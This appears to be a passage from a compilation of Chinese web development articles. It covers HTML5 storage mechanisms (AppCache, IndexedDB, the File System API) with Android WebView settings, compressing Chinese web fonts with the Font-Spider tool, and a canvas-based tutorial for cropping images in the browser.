	在更新缓存过程中，如果有一个文件更新失败，则整个更新会失败。


	manifest 和引用它的HTML要在相同 HOST。


	manifest 文件中的文件列表，如果是相对路径，则是相对 manifest 文件的相对路径。


	manifest 也有可能更新出错，导致缓存文件更新失败。


	没有缓存的资源在已经缓存的 HTML 中不能加载，即使有网络。例如：http://appcache-demo.s3-website-us-east-1.amazonaws.com/without-network/


	manifest 文件本身不能被缓存，且 manifest 文件的更新使用的是浏览器缓存机制。所以 manifest 文件的 Cache-Control 缓存时间不能设置太长。




另外，根据官方文档，AppCache 已经不推荐使用了，标准也不会再支持。现在主流的浏览器都是还支持 AppCache的，以后就不太确定了。 

在Android 内嵌 Webview中，需要通过 Webview 设置接口启用 AppCache，同时还要设置缓存文件的存储路径，另外还可以设置缓存的空间大小。

WebView myWebView = (WebView) findViewById(R.id.webview);
WebSettings webSettings = myWebView.getSettings();
webSettings.setAppCacheEnabled(true);
final String cachePath = getApplicationContext().getDir("cache", Context.MODE_PRIVATE).getPath();
webSettings.setAppCachePath(cachePath);
webSettings.setAppCacheMaxSize(5*1024*1024);


2.5 Indexed Database

IndexedDB 也是一种数据库的存储机制，但不同于已经不再支持的 Web SQL Database。IndexedDB 不是传统的关系数据库，可归为 NoSQL 数据库。IndexedDB 又类似于 Dom Storage 的 key-value 的存储方式，但功能更强大，且存储空间更大。           

IndexedDB 存储数据是 key-value 的形式。Key 是必需，且要唯一；Key 可以自己定义，也可由系统自动生成。Value 也是必需的，但 Value 非常灵活，可以是任何类型的对象。一般 Value 都是通过 Key 来存取的。

IndexedDB 提供了一组 API，可以进行数据存、取以及遍历。这些 API 都是异步的，操作的结果都是在回调中返回。 

下面代码演示了 IndexedDB 中 DB 的打开（创建）、存储对象(可理解成有关系数据的”表“）的创建及数据存取、遍历基本功能。

<script type="text/javascript">

var db;

window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;

//浏览器是否支持IndexedDB
if (window.indexedDB) {
   //打开数据库，如果没有，则创建
   var openRequest = window.indexedDB.open("people_db", 1);

   //DB版本设置或升级时回调
   openRequest.onupgradeneeded = function(e) {
       console.log("Upgrading...");

       var thisDB = e.target.result;
       if(!thisDB.objectStoreNames.contains("people")) {
           console.log("Create Object Store: people.");

           //创建存储对象，类似于关系数据库的表
           thisDB.createObjectStore("people", { autoIncrement:true });

          //创建存储对象， 还创建索引
          //var objectStore = thisDB.createObjectStore("people",{ autoIncrement:true });
         // //first arg is name of index, second is the path (col);
        //objectStore.createIndex("name","name", {unique:false});
       //objectStore.createIndex("email","email", {unique:true});
     }
}

//DB成功打开回调
openRequest.onsuccess = function(e) {
    console.log("Success!");

    //保存全局的数据库对象，后面会用到
    db = e.target.result;

   //绑定按钮点击事件
     document.querySelector("#addButton").addEventListener("click", addPerson, false);

    document.querySelector("#getButton").addEventListener("click", getPerson, false);

    document.querySelector("#getAllButton").addEventListener("click", getPeople, false);

    document.querySelector("#getByName").addEventListener("click", getPeopleByNameIndex1, false);
}

  //DB打开失败回调
  openRequest.onerror = function(e) {
      console.log("Error");
      console.dir(e);
   }

}else{
    alert('Sorry! Your browser doesn\'t support the IndexedDB.');
}

//添加一条记录
function addPerson(e) {
    var name = document.querySelector("#name").value;
    var email = document.querySelector("#email").value;

    console.log("About to add "+name+"/"+email);

    var transaction = db.transaction(["people"],"readwrite");
var store = transaction.objectStore("people");

   //Define a person
   var person = {
       name:name,
       email:email,
       created:new Date()
   }

   //Perform the add
   var request = store.add(person);
   //var request = store.put(person, 2);

   request.onerror = function(e) {
       console.log("Error",e.target.error.name);
       //some type of error handler
   }

   request.onsuccess = function(e) {
      console.log("Woot! Did it.");
   }
}

//通过KEY查询记录
function getPerson(e) {
    var key = document.querySelector("#key").value;
    if(key === "" || isNaN(key)) return;

    var transaction = db.transaction(["people"],"readonly");
    var store = transaction.objectStore("people");

    var request = store.get(Number(key));

    request.onsuccess = function(e) {
        var result = e.target.result;
        console.dir(result);
        if(result) {
           var s = "<p><h2>Key "+key+"</h2></p>";
           for(var field in result) {
               s+= field+"="+result[field]+"<br/>";
           }
           document.querySelector("#status").innerHTML = s;
         } else {
            document.querySelector("#status").innerHTML = "<h2>No match!</h2>";
         }
     }
}

//获取所有记录
function getPeople(e) {

    var s = "";

     db.transaction(["people"], "readonly").objectStore("people").openCursor().onsuccess = function(e) {
        var cursor = e.target.result;
        if(cursor) {
            s += "<p><h2>Key "+cursor.key+"</h2></p>";
            for(var field in cursor.value) {
                s+= field+"="+cursor.value[field]+"<br/>";
            }
            s+="</p>";
            cursor.continue();
         }
         document.querySelector("#status2").innerHTML = s;
     }
}

//通过索引查询记录
function getPeopleByNameIndex(e)
{
    var name = document.querySelector("#name1").value;

    var transaction = db.transaction(["people"],"readonly");
    var store = transaction.objectStore("people");
    var index = store.index("name");

    //name is some value
    var request = index.get(name);

    request.onsuccess = function(e) {
       var result = e.target.result;
       if(result) {
           var s = "<p><h2>Name "+name+"</h2><p>";
           for(var field in result) {
               s+= field+"="+result[field]+"<br/>";
           }
           s+="</p>";
    } else {
        document.querySelector("#status3").innerHTML = "<h2>No match!</h2>";
     }
   }
}

//通过索引查询记录
function getPeopleByNameIndex1(e)
{
    var s = "";

    var name = document.querySelector("#name1").value;

    var transaction = db.transaction(["people"],"readonly");
    var store = transaction.objectStore("people");
    var index = store.index("name");

    //name is some value
    index.openCursor().onsuccess = function(e) {
        var cursor = e.target.result;
        if(cursor) {
            s += "<p><h2>Key "+cursor.key+"</h2></p>";
            for(var field in cursor.value) {
                s+= field+"="+cursor.value[field]+"<br/>";
            }
            s+="</p>";
            cursor.continue();
         }
         document.querySelector("#status3").innerHTML = s;
     }
}

</script>

<p>添加数据<br/>
<input type="text" id="name" placeholder="Name"><br/>
<input type="email" id="email" placeholder="Email"><br/>
<button id="addButton">Add Data</button>
</p>

<p>根据Key查询数据<br/>
<input type="text" id="key" placeholder="Key"><br/>
<button id="getButton">Get Data</button>
</p>
<div id="status" name="status"></div>

<p>获取所有数据<br/>
<button id="getAllButton">Get EveryOne</button>
</p>
<div id="status2" name="status2"></div>

<p>根据索引:Name查询数据<br/>
    <input type="text" id="name1" placeholder="Name"><br/>
    <button id="getByName">Get ByName</button>
</p>
<div id="status3" name="status3"></div>


将上面的代码复制到 indexed_db.html 中，用 Google Chrome 浏览器打开，就可以添加、查询数据。在 Chrome 的开发者工具中，能查看创建的 DB 、存储对象(可理解成表）以及表中添加的数据。



IndexedDB 有个非常强大的功能，就是 index（索引）。它可对 Value 对象中任何属性生成索引，然后可以基于索引进行 Value 对象的快速查询。

要生成索引或支持索引查询数据，需求在首次生成存储对象时，调用接口生成属性的索引。可以同时对对象的多个不同属性创建索引。如下面代码就对name 和 email 两个属性都生成了索引。

var objectStore = thisDB.createObjectStore("people",{ autoIncrement:true });
//first arg is name of index, second is the path (col);
objectStore.createIndex("name","name", {unique:false});
objectStore.createIndex("email","email", {unique:true});


生成索引后，就可以基于索引进行数据的查询。

function getPeopleByNameIndex(e)
{
var name = document.querySelector("#name1").value;

var transaction = db.transaction(["people"],"readonly");
var store = transaction.objectStore("people");
var index = store.index("name");

//name is some value
var request = index.get(name);
request.onsuccess = function(e) {
    var result = e.target.result;
    if(result) {
        var s = "<p><h2>Name "+name+"</h2><p>";
        for(var field in result) {
            s+= field+"="+result[field]+"<br/>";
        }
        s+="</p>";
    } else {
        document.querySelector("#status3").innerHTML = "<h2>No match!</h2>";
    }
  }
}


分析：IndexedDB 是一种灵活且功能强大的数据存储机制，它集合了 Dom Storage 和 Web SQL Database 的优点，用于存储大块或复杂结构的数据，提供更大的存储空间，使用起来也比较简单。可以作为 Web SQL Database 的替代。不太适合静态文件的缓存。


	以key-value 的方式存取对象，可以是任何类型值或对象，包括二进制。


	可以对对象任何属性生成索引，方便查询。


	较大的存储空间，默认推荐250MB(分 HOST)，比 Dom Storage 的5MB 要大的多。


	通过数据库的事务（tranction）机制进行数据操作，保证数据一致性。


	异步的 API 调用，避免造成等待而影响体验。




Android 在4.4开始加入对 IndexedDB 的支持，只需打开允许 JS 执行的开关就好了。

WebView myWebView = (WebView) findViewById(R.id.webview);
WebSettings webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);


2.6 File System API

File System API 是 H5 新加入的存储机制。它为 Web App 提供了一个虚拟的文件系统，就像 Native App 访问本地文件系统一样。由于安全性的考虑，这个虚拟文件系统有一定的限制。Web App 在虚拟的文件系统中，可以进行文件（夹）的创建、读、写、删除、遍历等操作。

File System API 也是一种可选的缓存机制，和前面的 SQLDatabase、IndexedDB 和 AppCache 等一样。File System API 有自己的一些特定的优势：


	可以满足大块的二进制数据（ large binary blobs）存储需求。


	可以通过预加载资源文件来提高性能。


	可以直接编辑文件。




浏览器给虚拟文件系统提供了两种类型的存储空间：临时的和持久性的。临时的存储空间是由浏览器自动分配的，但可能被浏览器回收；持久性的存储空间需要显示的申请，申请时浏览器会给用户一提示，需要用户进行确认。持久性的存储空间是 WebApp 自己管理，浏览器不会回收，也不会清除内容。持久性的存储空间大小是通过配额来管理的，首次申请时会一个初始的配额，配额用完需要再次申请。 

虚拟的文件系统是运行在沙盒中。不同 WebApp 的虚拟文件系统是互相隔离的，虚拟文件系统与本地文件系统也是互相隔离的。

File System API 提供了一组文件与文件夹的操作接口，有同步和异步两个版本，可满足不同的使用场景。下面通过一个文件创建、读、写的例子，演示下简单的功能与用法。

<script type="text/javascript">

window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem;

//请求临时文件的存储空间
if (window.requestFileSystem) {
     window.requestFileSystem(window.TEMPORARY, 5*1024*1024, initFS, errorHandler);
}else{
  alert('Sorry! Your browser doesn\'t support the FileSystem API');
}

//请求成功回调
function initFS(fs){

  //在根目录下打开log.txt文件，如果不存在就创建
  //fs就是成功返回的文件系统对象，fs.root代表根目录
  fs.root.getFile('log.txt', {create: true}, function(fileEntry) {

  //fileEntry是返回的一个文件对象，代表打开的文件

  //向文件写入指定内容
  writeFile(fileEntry);

  //将写入的内容又读出来，显示在页面上
  readFile(fileEntry);

  }, errorHandler);
}

//读取文件内容
function readFile(fileEntry)
{
    console.log('readFile');

   // Get a File object representing the file,
   // then use FileReader to read its contents.
   fileEntry.file(function(file) {

     console.log('createReader');

      var reader = new FileReader();

      reader.onloadend = function(e) {

        console.log('onloadend');

        var txtArea = document.createElement('textarea');
        txtArea.value = this.result;
        document.body.appendChild(txtArea);
      };

      reader.readAsText(file);
   }, errorHandler);
}

//向文件写入指定内容
function writeFile(fileEntry)
{
    console.log('writeFile');

    // Create a FileWriter object for our FileEntry (log.txt).
    fileEntry.createWriter(function(fileWriter) {

      console.log('createWriter');

      fileWriter.onwriteend = function(e) {
        console.log('Write completed');
      };

        fileWriter.onerror = function(e) {
          console.log('Write failed: ' + e.toString());
        };

        // Create a new Blob and write it to log.txt.
        var blob = new Blob(['Hello, World!'], {type: 'text/plain'});

        fileWriter.write(blob);

     }, errorHandler);
}

function errorHandler(err){
 var msg = 'An error occured: ' + err;
 console.log(msg);
};

 </script>


将上面代码复制到 file_system_api.html 文件中，用 Google Chrome 浏览器打开（现在 File System API 只有 Chrome 43+、Opera 32+ 以及 Chrome for Android 46+ 这三个浏览器支持）。由于 Google Chrome 禁用了本地 HTML 文件中的 File System API功能，在启动 Chrome 时，要加上”—allow-file-access-from-files“命令行参数。



上面截图，左边是 HTML 运行的结果，右边是 Chrome 开发者工具中看到的 Web 的文件系统。基本上 H5的几种缓存机制的数据都能在这个开发者工具看到，非常方便。

分析：File System API 给 Web App 带来了文件系统的功能，Native 文件系统的功能在 Web App 中都有相应的实现。任何需要通过文件来管理数据，或通过文件系统进行数据管理的场景都比较适合。

到目前，Android 系统的 Webview 还不支持 File System API。

3 移动端 Web 加载性能（缓存）优化

分析完 H5提供的各种缓存机制，回到移动端（针对 Android，可能也适用于 iOS）的场景。现在 Android App（包括手 Q 和 WX）大多嵌入了 Webview 的组件（系统 Webview 或 QQ 游览器的 X5组件），通过内嵌Webview 来加载一些H5的运营活动页面或资讯页。这样可充分发挥Web前端的优势：快速开发、发布，灵活上下线。但 Webview 也有一些不可忽视的问题，比较突出的就是加载相对较慢，会相对消耗较多流量。

通过对一些 H5页面进行调试及抓包发现，每次加载一个 H5页面，都会有较多的请求。除了 HTML 主 URL 自身的请求外，HTML外部引用的 JS、CSS、字体文件、图片都是一个独立的 HTTP 请求，每一个请求都串行的（可能有连接复用）。这么多请求串起来，再加上浏览器解析、渲染的时间，Web 整体的加载时间变得较长；请求文件越多，消耗的流量也会越多。我们可综合使用上面说到几种缓存机制，来帮助我们优化 Web 的加载性能。



结论：综合各种缓存机制比较，对于静态文件，如 JS、CSS、字体、图片等，适合通过浏览器缓存机制来进行缓存，通过缓存文件可大幅提升 Web 的加载速度，且节省流量。但也有一些不足：缓存文件需要首次加载后才会产生；浏览器缓存的存储空间有限，缓存有被清除的可能；缓存的文件没有校验。要解决这些不足，可以参考手 Q 的离线包，它有效的解决了这些不足。

对于 Web 在本地或服务器获取的数据，可以通过 Dom Storage 和 IndexedDB 进行缓存。也在一定程度上减少和 Server 的交互，提高加载速度，同时节省流量。

当然 Web 的性能优化，还包括选择合适的图片大小，避免 JS 和 CSS 造成的阻塞等。这就需要 Web 前端的同事根据一些规范和一些调试工具进行优化了。



想了解更多干货，请搜索关注公众号：腾讯Bulgy，或搜索微信号：weixinBugly，关注我们。


腾讯Bugly

Bugly是腾讯内部产品质量监控平台的外发版本，支持iOS和Android两大主流平台,其主要功能是App发布以后，对用户侧发生的crash以及卡顿现象进行监控并上报，让开发同学可以第一时间了解到app的质量情况，及时修改。目前腾讯内部所有的产品，均在使用其进行线上产品的崩溃监控。
腾讯内部团队4年打磨，目前腾讯内部所有的产品都在使用，基本覆盖了中国市场的移动设备以及网络环境，可靠性有保证。使用Bugly，你就使用了和手机QQ、QQ空间、手机管家相同的质量保障手段




 迟到的中文 WebFont

作者：LJ_ome

来源： 迟到的中文 WebFont



                    
(前端工程师福音，收藏一下)


三年前，有一个设计师面试一位 Web 前端工程师，其中有一段这样的对话：


“如果设计师希望用图片实现某个字体样式，而从技术的角度来说这样不合理，但设计师非常坚持，这时候你怎么办？”


“我会给设计师讲解工程上面临的问题，争取他理解。例如：如果文本使用图片，以腾讯站点的访问量来说，这里会需要消耗大量的服务器资源，至少需要增加 XXX 台服务器，带宽流量消耗 XXX 万……”。


这是一段真实的面试场景，而我就是那位被面试者。这些年 Web 前端技术在迅猛的发展，这样的问题已经有了解决方案——WebFont，如果再回到当年面试的场景，我想我会给出更好的答案。


WebFont 技术可以让网页使用在线字体，而无需使用图片，从而有机会解决开头设计师提到的问题。它通过 CSS 的 @font-face 语句引入在线字体，使用 CSS 选择器指定运用字体的文本，与此同时专用于 Web 展示的 woff 格式字体也得到各大浏览器厂商支持，进一步减少了字体的体积。在国外，WebFont 已经非常流行了，大量的网站使用了 WebFont 技术，而业界大佬 Google 也顺势推出的免费 WebFont 云托管服务，这一切均带动了国外字体制作行业的高速发展。


WebFont 的优势


相对图片，WebFont 有如下优势：



	支持选中、复制

	支持 Ctrl+F 查找

	对搜索引擎友好

	支持工具翻译

	支持无障碍访问，支持朗读

	字体是矢量图形，支持矢量缩放，自动适配高清屏

	文本修改方便

	字形可以重复利用，节省网络资源



中文 WebFont 的困境


既然 WebFont 有如此多优势，为何中文站点依然很少采用？这里主要是三个“中国特色”造成的：


中文字体体积


英文只有 26 个字母，一套字体不过几十 KB；而汉字却有数万个，导致字体文件通常有好几 MB 大小，文件体积比英文字体大数百倍，按照中国网络环境的现状，用于实际项目中显然不现实。


浏览器类型


国内浏览器市场异常繁荣，从 IE6 到各种壳的浏览器，他们对字体格式的支持也不一样，字体格式转换相当繁琐。


操作系统


相当长的时期内，Windows XP 操作系统是国内的主流，而 XP 系统对字体渲染表现差劲，设计师难以接受 WebFont 的表现，而宁愿使用图片。不过随着 XP 系统市场份额急剧下降以及移动设备的崛起，这个问题已经变得不再那么重要了。


总结一下，中文 WebFont 首要解决的问题便是：压缩与转码。


现有的中文 WebFont 解决方案


本地制作


通过字体制作工具来删除没有使用的字符，即制作精简版字体，这也是我之前实践过的方案。





（图：字体制作工具——FontLab）


字体云服务


国内目前有两家公司提供中文 WebFont 云托管服务，他们能够压缩与转码字体：



	
http://www.youziku.com（有字库）

	
http://cn.justfont.com（就是字）



现有方案的问题


在实践中，通过工具制作精简版字体异常繁琐，它需要仔细核对字符，修改非常麻烦，效率低下且容易遗漏字符而导致出错


第三方云服务最大的问题是无法保证稳定性，能否支撑海量用户访问还是个问号，至少目前这两家中文 WebFont 平台中还没有大型商业站点的案例，大多都是一些小型个人或企业网站在使用


本地自动化 WebFont 压缩设想


出于性能以及可控性的考虑，我们排除了第三方云服务方案，尝试设计本地自动化方案。和小伙伴讨论的过程中，我们想到了之前有同事做过自动化切图的工具，原理是用脚本操作 Photoshop，那么我们是否同样可以编写脚本让字体工具自动化的操作呢？理论上 OK，值得我们去尝试。


字体压缩关键在于删除不必要的字符，我们可以指定一个配置文件来指定字体以及其所使用的字符，然后操作字体工具精简字体即可。


前面提到，如果手工配置字体所使用的字符可能会有遗漏的风险，并且每次页面修改都需要同步修改配置文件，这里能否实现自动化配置？


灵感总是在不经意间出现，我们将目光又朝向了 CSS，因为 CSS 本身就一个完整的配置文件：它的 @font-face 语句记录着字体名称与文件路径，选择器记录着字体使用范围，而 CSS 选择器又与 HTML 文档相对应，HTML 文档又可以使用选择器来查找节点与文本。


字蛛（Font-Spider）诞生


为了实现上述设想，我们需要拥有这三个小伙伴：



	分析模块：负责收集字体与字体使用的字符

	压缩模块：负责删除字体中没有使用的字符实现压缩

	转码模块：负责将字体转换成跨浏览器使用的格式



借助开源的力量，工具被迅速的实现出来，非常感谢以下开源项目的帮助：



	
css.js：它能将 CSS 解析成语法树，并且能够较好的容错适应各种 hack 语法

	
jsdom：它能够在 NodeJS 中实现 W3C DOM API，使得我可以使用 document.querySelectorAll() 方法输入 CSS 选择器来查找 HTML 节点上的文本

	
font-optimizer：这是一个使用 Perl 编写的字体优化工具

	
ttf2eot、ttf2woff、ttf2svg：是它们完成了跨浏览器字体格式转码的工作



成果





指定 HTML 文件路径就可以自动化的压缩与转码字体，过程中完全无需人工干预，可以方便的集成在前端发布系统中。


开源


不断的完善后，我们将工具命名为——字蛛（Font-Spider），并回馈给开源社区，希望它能够为中文 WebFont 的发展出一份力，让更多的中文站点可以使用精美的字体。套用一句话结束本文：技术会迟到，但从不会缺席。



	字蛛官网：http://font-spider.org


	项目贡献者：@糖饼 @fufu @kdd




文章出处 迟到的中文 WebFont


 HTML5本地裁剪图片

作者：JellyBool

来源： HTML5本地裁剪图片



                    
先上效果图：





我们首先需要创建一个index.html文件，里面写上一些简单的html和css代码：


<!DOCTYPE html>
<html>
<head>
    <title>HTML5 Crop Image</title>
</head>
<style type="text/css">
body{text-align:center;}
#label{border:1px solid #ccc;background-color:#fff;text-align:center;height:300px; width:300px;margin:20px auto;position:relative;}
#get_image{position:absolute;}
#edit_pic{position:absolute;display:none;background:#000;}
#cover_box{position: absolute;z-index: 9999;display:none;top:0px;left:0px;}
#show_edit{margin: 0 auto;display:inline-block;}
#show_pic{height:100px;width:100px;border:2px solid #000;overflow:hidden;margin:0 auto;display:inline-block; }
</style>
<body>
<input type="file" name="file" id="post_file">
<button id="save_button">SAVE</button>


<div id="label">
    <canvas id="get_image"></canvas>
    <p>
        <canvas id="cover_box"></canvas>
        <canvas id="edit_pic"></canvas>
    </p>
</div>




<p>
    <span id="show_edit"></span>
    <span id="show_pic"><img src=""></span>
</p>


<script type="text/javascript" src="js/js.js"></script>
</body>
</html>




以上的三个<canvas>标签都是用来处理跟图片相关的内容的，详细的处理会在后续的js代码中给出。而id为show_edit 和id为show_pic这两个是为了图片的预览和查看最后的图片生成结果。做完html和css的布局之后，我们就可以进入js代码，实现本节课的图片裁剪功能。


实现图片裁剪的init函数：


var postFile = { 
        init: function() {
        var t = this;
        t.regional = document.getElementById('label');
        t.getImage = document.getElementById('get_image');
        t.editPic = document.getElementById('edit_pic');
        t.editBox = document.getElementById('cover_box');
        t.px = 0;    //background image x
        t.py = 0;    //background image y
        t.sx = 15;    //crop area x
        t.sy = 15;    //crop area y
        t.sHeight = 150;    //crop area height
        t.sWidth = 150    //crop area width
        document.getElementById('post_file').addEventListener("change", t.handleFiles, false);
    },

}




我们将所有的函数和变量都是封装在postFile这个对象里面的，上面的init方法主要是设置一些初始值


t.px = 0;    
t.py = 0;    
t.sx = 15;   
t.sy = 15;   
t.sHeight = 150;    
t.sWidth = 150   




以上的t.px t.py分别表示在实时预览区域的背景图片的坐标；t.sx，t.sy， t.sHeight， t.sWidth分别表示图片的横纵坐标和宽高。


并且我们通过document.getElementById获取了多个稍后需要操作的元素，注意到：


document.getElementById('post_file').addEventListener("change", t.handleFiles, false);




我们通过监听id为post_file的input表单的change事件来处理用户上传的文件，在这我们交给了handleFiles函数来处理，所以下面我们就来实现handleFiles函数。


实现handleFiles，获取文件，读取文件并生成url


 handleFiles: function() {
        var fileList = this.files[0];
        var oFReader = new FileReader();
        oFReader.readAsDataURL(fileList);
        oFReader.onload = function (oFREvent) { 
            postFile.paintImage(oFREvent.target.result);
        };
    },




上面这几行代码就可以基本实现handleFiles的处理功能，我们在这里就使用了HTML5的File API，首先通过new FileReader()来实例化一个FileReader对象oFReader，再调用其readAsDataURL()方法将文件的内容读取出来并处理成base64编码的格式。


如果你对var fileList = this.files[0];有疑问，不妨在在这里打印出来看看：


console.log(this.files);




你将会看到类似于这样的打印输出：





最后，当文件读取完毕并完成加载的时候，我们通过postFile.paintImage(oFREvent.target.result)处理我们读取到的图片，说白了就是将读取到的图片数据重新绘画到浏览器上。


关于oFREvent究竟是什么东西，你可以通过console.log(oFREvent)来查看。你还可以查看这里的链接来获取更多的FileReader的知识：


https://developer.mozilla.org/zh-CN/docs/Web/API/FileReader


实现paintImage函数


 paintImage: function(url) {
        var t = this;
        var createCanvas = t.getImage.getContext("2d");
        var img = new Image();
        img.src = url;
        img.onload = function(){

            if ( img.width < t.regional.offsetWidth && img.height < t.regional.offsetHeight) {
                t.imgWidth = img.width;
                t.imgHeight = img.height;

            } else {
                var pWidth = img.width / (img.height / t.regional.offsetHeight);
                var pHeight = img.height / (img.width / t.regional.offsetWidth);
                t.imgWidth = img.width > img.height ? t.regional.offsetWidth : pWidth;
                t.imgHeight = img.height > img.width ? t.regional.offsetHeight : pHeight;
            }
            t.px = (t.regional.offsetWidth - t.imgWidth) / 2 + 'px';
            t.py = (t.regional.offsetHeight - t.imgHeight) / 2 + 'px';

            t.getImage.height = t.imgHeight;
            t.getImage.width = t.imgWidth;
            t.getImage.style.left = t.px;
            t.getImage.style.top = t.py;

            createCanvas.drawImage(img,0,0,t.imgWidth,t.imgHeight);
            t.imgUrl = t.getImage.toDataURL();
            t.cutImage(); 
            t.drag();
        };
    },





以上最重要的就是根据容器的大小使用canvas绘制图片。在上一步使用File API的FileReader已经得到了需要上传图片的地址了(oFREvent.target.result这个值)，接下来需要使用canvas把这个图片绘制出来。我们首先使用到getImage.getContext来获取<canvas id="get_image"></canvas>的2d内容，简单理解就是图像内容，然后利用new Image()来得到一个<img>标签，设置src属性的值，如果你console.log(img),得到的大概是这样的结果：


<img src="images/background.png" >




在img.onload函数里，我们的主要目的是为了将图片按照原大小等比例地重画出来，所以才有if条件判断，最后我们通过createCanvas.drawImage(img,0,0,t.imgWidth,t.imgHeight);这一行代码来实现真正的绘画图片，效果大概是这样的：





这里为什么不直接插入img而用canvas重新绘制呢，这不是多此一举了吗？其实不然。如果用img直接插入页面，就无法自适应居中了，如果使用canvas绘制图片，不但能使图片自适应居中以及能等比例缩放，并且方便把图片的坐标，尺寸大小传给后来的遮罩层(id为label的div)，这样能根据图片的坐标以及图片的尺寸大小来绘制遮罩层。


如果你对drawImage()有任何疑问，点击下面的链接进行详细的了解：


https://developer.mozilla.org/zh-CN/docs/Web/API/CanvasRenderingContex...


到这里，前期的一小半工作其实已经完成了，我们按照上面的思路，接下来就把cutImage和drag这两个方法实现就可以了。


实现cutImage方法


在上一张图片中，我们其实很清楚地看到了两个明暗不一的层，这是因为我们根据背景图的坐标和尺寸来绘制遮罩层覆盖在背景上面，并且使用canvas的clearRect方法清空出一块裁剪区域，使之与不裁剪的地方做明暗对比，这样的目的一个是为了更好地看到对比，一个就是为了用户体验：


cutImage: function() {
    var t = this;

    //绘制遮罩层：
    t.editBox.height = t.imgHeight;
    t.editBox.width = t.imgWidth;
    t.editBox.style.display = 'block';
    t.editBox.style.left = t.px;
    t.editBox.style.top = t.py;

    var cover = t.editBox.getContext("2d");
    cover.fillStyle = "rgba(0, 0, 0, 0.5)";
    cover.fillRect (0,0, t.imgWidth, t.imgHeight);
    cover.clearRect(t.sx, t.sy, t.sHeight, t.sWidth);

    //预览图片

    document.getElementById('show_edit').style.background = 'url(' + t.imgUrl + ')' + -t.sx + 'px ' + -t.sy + 'px no-repeat';
    document.getElementById('show_edit').style.height = t.sHeight + 'px';
    document.getElementById('show_edit').style.width = t.sWidth + 'px';
},




以上的cutImage方法主要是负责两个事情，一个是制造遮罩层，一个是利用css的background属性将选中的裁剪区域实时预览。


但是需要注意的是，这里的遮罩层仅仅是用来做显示效果，并没有做裁剪图片的工作。


编写drag方法


在很多web应用中，使用截图上传头像功能时我们希望能裁剪到满意的图片，所以裁剪框就需要不停的变动才得以裁剪出完美的图片。前几步已经把裁剪图片的基本功能做出来了，所以现在需要做的就是裁剪框跟进鼠标的移动来实时裁剪图片


先来一张预览图片：






 drag: function() {
        var t = this;
        var draging = false;
        var startX = 0;
        var startY = 0;

        document.getElementById('cover_box').onmousemove = function(e) {
            var pageX = e.pageX - ( t.regional.offsetLeft + this.offsetLeft );
            var pageY = e.pageY - ( t.regional.offsetTop + this.offsetTop );

            if ( pageX > t.sx && pageX < t.sx + t.sWidth && pageY > t.sy && pageY < t.sy + t.sHeight ) {
                this.style.cursor = 'move';

                this.onmousedown = function(){
                    draging = true;

                    t.ex = t.sx;
                    t.ey = t.sy;

                    startX = e.pageX - ( t.regional.offsetLeft + this.offsetLeft );
                    startY = e.pageY - ( t.regional.offsetTop + this.offsetTop );

                }
                window.onmouseup = function() {
                    draging = false;
                }

                if (draging) {

                    if ( t.ex + (pageX - startX) < 0 ) {
                        t.sx = 0;
                    } else if ( t.ex + (pageX - startX) + t.sWidth > t.imgWidth) {
                        t.sx = t.imgWidth - t.sWidth;
                    } else {
                        t.sx = t.ex + (pageX - startX);
                    };

                    if (t.ey + (pageY - startY) < 0) {
                        t.sy = 0;
                    } else if ( t.ey + (pageY - startY) + t.sHeight > t.imgHeight ) {
                        t.sy = t.imgHeight - t.sHeight;
                    } else {
                        t.sy = t.ey + (pageY - startY);
                    }

                    t.cutImage();
                }
            } else{
                this.style.cursor = 'auto';
            }
        };
    }





这个方法里要理解一下几个主要的点：


var pageX = e.pageX - ( t.regional.offsetLeft + this.offsetLeft );
var pageY = e.pageY - ( t.regional.offsetTop + this.offsetTop );




我们通过上面两行代码来获取鼠标距离背景图片的距离，e.pageX代表鼠标到浏览器左边缘的距离，t.regional.offsetLeft + this.offsetLeft可以计算出图片到浏览器的左边边缘的距离。上边的距离同理可得。



 if ( pageX > t.sx && pageX < t.sx + t.sWidth && pageY > t.sy && pageY < t.sy + t.sHeight )




在理解了鼠标距离背景图片的距离距离之后，这个应该很容易理解：就是判断鼠标是否在图片的区域内部。



t.ex = t.sx; 
t.ey = t.sy;

startX = e.pageX - ( t.regional.offsetLeft + this.offsetLeft );
startY = e.pageY - ( t.regional.offsetTop + this.offsetTop );





这两段代码也是要拿出来说说的，头两行是为了记录上一次截图时候的坐标（没有上一次就是初始化的时候的坐标）；后两行记录鼠标按下时候的坐标。你都可以通过console.log()来分别查看这几个值。



if (draging) {


    if ( t.ex + (pageX - startX) < 0 ) {
        t.sx = 0;
    } else if ( t.ex + (pageX - startX) + t.sWidth > t.imgWidth) {
        t.sx = t.imgWidth - t.sWidth;
    } else {
        t.sx = t.ex + (pageX - startX);
    };

    if (t.ey + (pageY - startY) < 0) {
        t.sy = 0;
    } else if ( t.ey + (pageY - startY) + t.sHeight > t.imgHeight ) {
        t.sy = t.imgHeight - t.sHeight;
    } else {
        t.sy = t.ey + (pageY - startY);
    }

    t.cutImage();
}





上面这一行代码就是说：如果实在拖动的情况下，我们需要根据坐标的变化来实时更新t.sx和t.sy的值,并且实时调用cutImage方法实现预览。


移动时裁剪区域的坐标 = 上次记录的定位 + (当前鼠标的位置 - 按下鼠标的位置)


最后，将裁剪的图片进行保存


从一开始，我们就有一个save按钮在页面上，我们的目的就是在用户点击save按钮的时候，将裁剪出来的图片保存到预览右边的方框内，于是，我们在init方法里面添加下面的代码：



document.getElementById('save_button').onclick = function() {
    t.editPic.height = t.sHeight;
    t.editPic.width = t.sWidth;
    var ctx = t.editPic.getContext('2d');
    var images = new Image();
    images.src = t.imgUrl;

    images.onload = function(){
        ctx.drawImage(images,t.sx, t.sy, t.sHeight, t.sWidth, 0, 0, t.sHeight, t.sWidth); 
        document.getElementById('show_pic').getElementsByTagName('img')[0].src = t.editPic.toDataURL();
    }

}




跟实现painImage方法类似，首先监听save按钮的点击事件，然后我们将选中区域的图片利用drawImage方法绘制出来，最后利用toDataURL方法转换成base64编码格式并将该值赋予show_pic下img的src属性，这样就完成了图片的裁剪保存。效果如图：


调用init方法


最后别忘了在开始之前调用init方法，在js文件的最后一行加上：


postFile.init();




最后的代码布局应该时这样的：


var postFile = {

    init: function() {
        //codes
        },

    handleFiles: function() {
        //codes
        },

    //...methods
}
postFile.init();



Happy Hacking


 如何做好移动端的响应式设计：Viewport控制

作者：iLeo

